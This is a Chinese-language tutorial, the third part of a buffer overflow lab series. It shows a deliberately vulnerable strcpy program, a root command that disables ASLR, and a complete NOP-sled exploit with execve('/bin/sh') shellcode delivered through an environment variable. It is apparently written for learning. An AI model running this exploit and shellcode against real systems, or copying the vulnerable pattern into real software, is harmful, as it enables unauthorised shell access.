緩衝區溢位攻擊實驗(三)
在緩衝區溢位攻擊實驗(一)(二)分別介紹了先關知識和shellcode機器碼的獲得,這一篇就闡述怎麼利用別人程式中的緩衝區溢位漏洞實施攻擊;
三、緩衝區溢位漏洞攻擊
1.一個存在緩衝區溢位漏洞的demo
下面的一個demo程式使用了strcpy()函式,而這個函式不是安全的,其並不對引數陣列的越界進行檢查;而且程式接受使用者輸入,這就成了經典的受攻擊案例(velnerable.c);
#include<stdio.h> #include<string.h> /*unsigned long get_sp(){ __asm__("movl %esp,%eax"); }*/ void main(int argc,char*argv[]){ char buffer[512]; if(argc>1){ strcpy(buffer,argv[1]); printf("input buffer size:%d\n",strlen(argv[1])); } }
2.怎麼攻擊上面那個demo
根據前面的分析,上面的demo程式是存在緩衝區溢位漏洞的,其buffer陣列接受使用者輸入,並且沒有對資料的越界做檢查,這樣,只需要對buffer寫入越界的資料,並設計好填充棧返回單元的地址,就可以利用demo獲取shell了。還有個問題,也是前面提到的問題,我們shell的機器碼資料應該存放在什麼地方;當然是受攻擊的demo程式中,demo程式中以為可以提供給我們寫入資料的就是buffer陣列了。好的,那就把機器碼寫入到demo程式的buffer陣列中去。又有一個問題了來了,寫入了buffer陣列,怎麼才能獲得我們寫入機器碼的地址呢?看到《smashing the stack for fun and profit》中說,幾乎所有的程式的棧起始地址都是一樣的,這樣就可以在我們的惡意程式中直接獲得demo程式的棧起始地址了。
獲取棧起始地址:sp.c
#include<stdio.h>
unsigned long get_sp(void){
__asm__("movl %esp,%eax");
}
void main(){
printf("0x%x\n",get_sp());
}
如果真是向上面說的那樣,每次執行sp程式得到的結果應該是一樣的,即棧的起始地址不會改變;但是,事實不是這樣的,現代作業系統不會傻到讓你輕易猜測到程式的棧其實地址,真要是這樣豈不是便宜了攻擊者!那麼作業系統是做了什麼來進行棧保護呢?再次盜用一張圖:
原來,作業系統給程式分配棧地址空間的時候,做了一定的手腳來加大攻擊的難度:在棧空間上面有一個Random stack offset區域,這個區域的大小是個隨機值,這樣攻擊者每次得到的棧起始地址就是不一樣的了,這就加大了攻擊的難度。事實證明上面那段程式sp.c在每次執行的時候得到的棧起始地址也是不一樣的。
既然有了這樣的機制,那麼怎麼辦?作為一個實驗性的,就不是深究怎麼破開這個random stack offset問題了,我們有好的Linux作業系統為學習人員提供了一個捷徑,Ubuntu下為我們提供了關閉地址空間隨機化(ASLR)的方法:
/proc/sys/kernel/randomize_va_space檔案控制著ASLR的開啟和關閉,其有三個取值:0,1,2;0 - 表示關閉程序地址空間隨機化、
1 - 表示將mmap的基址,stack和vdso頁面隨機化、2 - 表示在1的基礎上增加棧(heap)的隨機化。作為實驗用:我們在root模式下修改這個檔案的值為0以關閉隨機化機制。echo 0>/proc/sys/kernel/randomize_va_space就完成了改變。
修改了這個屬性之後,我們就可以順利得到demo的棧起始地址了,一般程式區域性變數的數目總是有限的,那麼buffer相對棧起始地址的偏移就是可猜測的。於是我們設計了下面的攻擊程式:又忘記留這一步的程式碼了,不過這裡的程式碼還是要經過改進的,直接貼上那篇文章的圖片吧。
事實證明這麼猜測buffer的地址是低效率行不通的,因為需要恰好猜對buffer的起始地址然後把它寫入demo程式的返回地址處。能不能有個改進,使得不需要準確知道buffer的起始地址,只需控制寫入demo返回地址在buffer資料範圍即可。這樣猜測buffer地址的範圍要遠比猜測buffer的其實地址要簡單得多。從理論上分析:猜測效力變成原來的sizeof(buffer)倍。引入這種思想之後,我們就不能把獲取shell程式的機器碼放到buffer的起始地址處了。有個非常好的指令nop指令,其僅僅是一個空操作,這樣只要返回地址指向我們的任意一個nop指令,程式總能到我們的惡意指令處。此時,攻擊模型變成:
根據這個攻擊模型,攻擊程式碼變成:exploitdemo.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(){
__asm__("movl %esp,%eax");
}
void main(int argc,char*argv[]){
char*buffer,*ptr;
long*add_ptr,addr;
int offset=DEFAULT_OFFSET,bsize=DEFAULT_BUFFER_SIZE;
int i;
if(argc>1)
bsize=atoi(argv[1]);
if(argc>2)
offset=atoi(argv[2]);
if(!(buffer=malloc(bsize)))
{
printf("Can't malloc memory");
exit(0);
}
addr=get_sp()-offset;
printf("Using ret address:0x%x\n",addr);
ptr=buffer;
add_ptr=(long*)ptr;
for(i=0;i<bsize;i+=4){
*(add_ptr++)=addr;
}
for(i=0;i<bsize/2;i++){
buffer[i]=NOP;
}
ptr=buffer+((bsize/2-strlen(shellcode)/2));
for(i=0;i<strlen(shellcode);i++){
*(ptr++)=shellcode[i];
}
buffer[bsize-1]='\0';
memcpy(buffer,"EGG=",4);
int a=putenv(buffer);
printf("%d\n",a);
system("/bin/sh");
}
看一下實驗效果:
可以看到,這樣的程式正確的獲得了shell,由於exploit本身有獲得shell使得記過有些混淆,下面貼一個隨便輸入500+大小資料的結果來論證上面攻擊程式的正確性:
這樣成功說明了我們攻擊程式是有效的,可以通過有漏洞的demo程式獲取shell。這裡還作幾點說明:
1、上面攻擊程式中自己本事獲取shell的操作不是必須的,只是為了引入環境變數,使得我們向demo程式寫入溢位資料的時候簡單點,不要手動輸入而已;
2.關於環境變數這裡沒有做詳細說明,但還是簡單記錄下我查閱到重要結果:用putenv()加入的環境變數,只是對當前自己的程式可見的,對漏洞demo程式並不具有可見性。所以我們怎麼向demo程式的實施攻擊的時候直接在exploit程式獲得的shell下進行的,而沒有退出exploit程式,也就是exploit申請的shell程式,因為退出了之後,我們設定的環境變數就不再是可見的了。當然此時可以通過手動把shellcode[]溢位陣列傳遞給demo程式,以實施攻擊。
四、對這次實驗的最後幾點思考
1、這裡僅僅是學習緩衝區溢位的原理,現實當中真正的攻擊要比這個複雜得多。
2、當漏洞程式的buffer資料長度不夠大時,不足以放下我們溢位攻擊的陣列的機器碼時怎麼辦;利用環境變數,使得EGG存取攻擊的機器碼,RET儲存任意EGG中nop指令的地址即可。具體細節這裡不作說明了,看圖上的程式碼吧。
不知道是我沒有理解還是啥,感覺還是有點雞肋,我們的目的就是為了獲得shell,沒有獲得shell前,怎麼可以輕易寫入環境變數呢!實驗到此結束。
五、Linux作業系統對於緩衝區溢位保護策略
緩衝區溢位攻擊很早就出現了,Linux自然做了相應的保護策略,這也是一個很長的話題,這裡給出一個關於這方面知識的連結:GCC編譯器堆疊保護技術,後面有機會希望集合具體的漏洞示例來進行現實的中的漏洞利用。